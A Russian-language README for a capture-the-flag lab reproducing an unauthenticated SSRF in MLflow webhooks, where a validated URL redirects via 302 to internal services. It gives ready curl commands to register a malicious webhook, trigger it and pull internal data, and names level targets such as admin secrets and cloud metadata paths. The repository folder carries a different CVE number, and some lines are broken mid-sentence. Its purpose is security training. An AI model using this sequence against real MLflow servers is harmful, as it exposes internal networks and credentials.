
Эта лаборатория может работать как следует или нет, спроси у ИИ. Я тестирую, но должно работать, хахаха.
CVE-2026-64849 · MLflow < 3.15.0 · Server-Side Request Forgery (SSRF)
Практическая лаборатория, воспроизводящая CVE-2026-64849: уязвимость
типа SSRF в MLflow, вызванная дефектом TOCTOU (Time-of-Check /
Time-of-Use) при обработке вебхуков. MLflow проверяет исходный URL
вебхука, но следует HTTP-редиректам (302) без повторной проверки
конечного адреса, что позволяет неаутентифицированному атакующему получить
доступ к внутренним сервисам, к которым у него не должно быть доступа
(internal-service:8888).
Ограничение использования: лабораторный материал, только для авторизованных сетей и сред. См. Правовое уведомление.
| Атрибут | Значение |
|---|
| Уязвимость | CVE-2026-64849 — SSRF через обход редиректа вебхука |
| Затронутый компонент | MLflow Tracking Server (< 3.15.0) |
| Версия лаборатории | MLflow 3.13.0 (без изменений, через pip install) |
| Корневая причина | TOCTOU: проверяет URL, следует за 302 без повторной проверки |
| Вектор | HTTP; без аутентификации |
| Заявленная критичность | КРИТИЧЕСКАЯ (CVSS 9.3) — согласно баннеру эксплойта лаборатории |
| Результат | Доступ к внутренним сервисам, кража учётных данных, сканирование портов |
| Расчётное время | 15–20 минут |
| Уровень | Средний (Безопасность веб-приложений / Наступательная безопасность) |
MLflow позволяет регистрировать вебхуки, которые запускают HTTP-запросы при событиях (данные моделей, эксперименты и т. д.). Перед сохранением URL применяется проверка (схема, частные IP-адреса, IP-метаданные). Сбой происходит потому, что:
3xx, библиотека
requests автоматически следует за редиректом и никогда не проверяет
повторно конечный URL.Атакующий контролирует первый переход (сервер, отвечающий 302 на
внутренний сервис), а MLflow выступает в роли прокси во внутреннюю сеть.
Полный технический анализ см. в EXPLOITATION_GUIDE.md §6.
По завершении лаборатории студент сможет:
/test и
эксфильтрация внутреннего сервиса.Аудитория: студенты и специалисты по наступательной безопасности, пентестеры, аудиторы безопасности приложений и разработчики, использующие MLflow.
Требования к программному обеспечению:
| Инструмент | Минимальная версия |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
Учётные данные и аутентификация в MLflow не требуются (атака неаутентифицированная). Доступ к внутренней сети не нужен: лаборатория предоставляет её.
хост внутренняя сеть Docker (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ атакующий (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, ответчик 302) │
│ http://localhost:5000 │ │ │ URL вебхука ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF, следует за редиректом) │
│ │ │ internal-service (8888) ← БЕЗ портов на │
│ │ │ "/admin/secret" хост │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
| Компонент | Порт | Роль в лаборатории | Изменён? |
|---|---|---|---|
mlflow-vulnerable | 5000 | Жертва / уязвимый клиент (MLflow 3.13.0 stock) | Нет |
attacker-server | 8080 | Сервер атакующего: /webhook → 302, /redirect?url=, /metadata, дашборд | Только do_HEAD |
internal-service | 8888 | Жертва в lab_network; /admin/secret и /api/internal/config | Нет |
Деталь целостности: уязвимый сервис и внутренний сервис не были изменены. См. EXPLOITATION_GUIDE.md §14.
cd mlflow-ssrf-lab
bash run_lab.sh start # поднимает 3 контейнера и ожидает MLflow
bash run_lab.sh exploit # эксплуатирует автоматически (SSRF → флаг Уровня 1)
Пошаговая демонстрация (интерактивное меню):
bash manual_exploitation_interactive.sh
🏁 Режим CTF (РУЧНОЕ решение): лаборатория — это задание по уровням.
Каждый флаг оставляет подсказку для следующего уровня, поэтому достижение
каждого флага «имеет смысл». И смысл в том, чтобы сделать это вручную:
ctf_lab.sh не эксплуатирует за вас, он только направляет и проверяет ваш
флаг:
bash ctf_lab.sh # интерактивное меню CTF
bash ctf_lab.sh nivel 1 # инструкции + подсказка уровня (команды для ВЫПОЛНЕНИЯ ВРУЧНУЮ)
bash ctf_lab.sh flag '<flag>' # проверить флаг, который вы эксфильтровали и декодировали (+очки)
bash ctf_lab.sh status # завершённые уровни + счёт (235 очков, без показа флагов)
bash ctf_lab.sh hint 2 # подсказка уровня
bash ctf_lab.sh reset # очистить прогресс
Справочник по скрипту run_lab.sh:
bash run_lab.sh start # start (по умолчанию) + статус конечной точки
bash run_lab.sh exploit # выполняет exploit.py внутри контейнера mlflow
bash run_lab.sh manual # показывает пошаговые команды curl
bash run_lab.sh logs # следит за логами в реальном времени
bash run_lab.sh stop # останавливает контейнеры
bash run_lab.sh clean # останавливает и удаляет данные лаборатории
Все вызовы
/testтребуют заголовокContent-Type: application/json; без него MLflow 3.13 отвечает400 Bad Request.
# 1. Создать вебхук, указывающий на сервер атакующего (редирект на корень внутреннего портала, Уровень 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. Запустить /test → MLflow проверяет URL, следует за 302 до внутреннего сервиса
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. Извлечь эксфильтрованные данные (вложены в result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
Ожидаемый результат шага 3 (Уровень 1 CTF):
{
"service": "internal-admin-portal",
"banner": "Внутренний административный портал — доступен только из внутренней сети",
"nivel": 1,
"flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
"flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
"pista": "Портал предоставляет ресурсы по адресам /admin/ и /api/. Ищи учётные данные администратора."
}
Флаг передаётся зашифрованным (flag_enc), а сам ответ даёт команду
для его декодирования (flag_decoding). Цель — эксфильтровать его через
SSRF и декодировать; а его pista (подсказка) ведёт к
Уровню 2. Пошаговые детали, анализ ошибки
и меры по устранению — в EXPLOITATION_GUIDE.md.
Лаборатория — это CTF с прогрессивными уровнями: каждый флаг оставляет
pista (подсказку), ведущую к следующей цели, поэтому достижение каждого
флага имеет смысл. Все уровни решаются одной и той же базовой техникой
(SSRF через редирект), с повышением сложности техники и обнаружения.
| Уровень | Техника / обнаружение | Цель (SSRF) | Флаг | Очки |
|---|---|---|---|---|
| 1 | Базовый редирект | internal-service:8888/ | base64 | 10 |
| 2 | Перечисление /admin/ | internal-service:8888/admin/secret | hex | 25 |
| 3 | Перечисление /api/ | internal-service:8888/api/internal/config | base64 | 40 |
| 4 | Облачные метаданные (IMDS) | internal-service:8888/latest/meta-data/... | base64 + rev | 60 |
| 5 (ФИНАЛ) | Слепой SSRF + обнаружение скрытого сервиса на порту 8889 | internal-service:8889/admin/final | XOR + base64 | 100 |
Флаги передаются зашифрованными в поле
flag_encответа, и каждый ответ включаетflag_decoding(точную команду для декодирования). Флаг в открытом видеflag{...}не появляется ни в одном скрипте или документе: его нужно эксфильтровать через SSRF и декодировать (автоматические скрипты не показывают флаги).
Правило лаборатории: флаг только за успешный SSRF (реальная
эксфильтрация данных внутреннего сервиса через редирект). То, что не
является SSRF или не воспроизводимо в лаборатории, флага не даёт
(например, прямой /metadata атакующего, DNS-ребендинг, туннель whcli,
слепое сканирование без эксфильтрации).
Играть: bash ctf_lab.sh (интерактивное меню). Ручное решение по
уровням — в REDTEAM_GUIDE.md (наступательное упражнение
команда за командой) и EXPLOITATION_GUIDE.md
(полная техническая процедура).
В ходе консолидации лаборатории были применены следующие исправления, уже проверенные и отражённые во всех командах документации:
| # | Исправление | Влияние |
|---|---|---|
| 1 | POST /test теперь отправляет Content-Type: application/json (и -d '{}') | Устраняет 400 Bad Request от MLflow 3.13 и ошибку jq: null при извлечении response_body |
| 2 | attacker_server.py поддерживает метод HEAD (do_HEAD) | curl -I .../webhook возвращает 302 Found вместо 501 Unsupported method |
| 3 | Использование реального API POST /api/2.0/mlflow/webhooks | Избегает 405 от несуществующих маршрутов (/webhooks/create) |
CVE-2026-29000-poc-lab/
├── README.md ← Этот файл (индекс / обложка лаборатории)
├── REDTEAM_GUIDE.md ← Ручное упражнение в ключе red team: разведка → гипотеза → эксплойт
├── EXPLOITATION_GUIDE.md ← Полная процедура лаборатории (SSRF, вариации, целостность)
├── manual_exploitation_interactive.sh ← Пошаговая интерактивная демонстрация (меню)
└── mlflow-ssrf-lab/ ← Код и оркестрация лаборатории
├── docker-compose.yml ← 3 контейнера (mlflow, attacker, internal)
├── exploit.py ← Автоматизированный эксплойт (выполняется внутри контейнера)
├── attacker_server.py ← Сервер атакующего (настраиваемый 302)
├── internal_service.py ← Внутренний «защищённый» сервис (портал 8888 + скрытый сервис 8889)
├── ctf_lab.sh ← Ручное руководство CTF (инструкции + подсказки + валидатор флагов)
├── run_lab.sh ← start / exploit / manual / logs / stop / clean
└── mlflow_data/ ← Сгенерированные данные (БД sqlite, артефакты)
lab_network Docker;
она не открывает внутренний сервис хосту.exploit.py — это инструмент проверки лаборатории, выполняемый внутри
контейнера MLflow в смоделированной внутренней сети (см.
EXPLOITATION_GUIDE.md §14).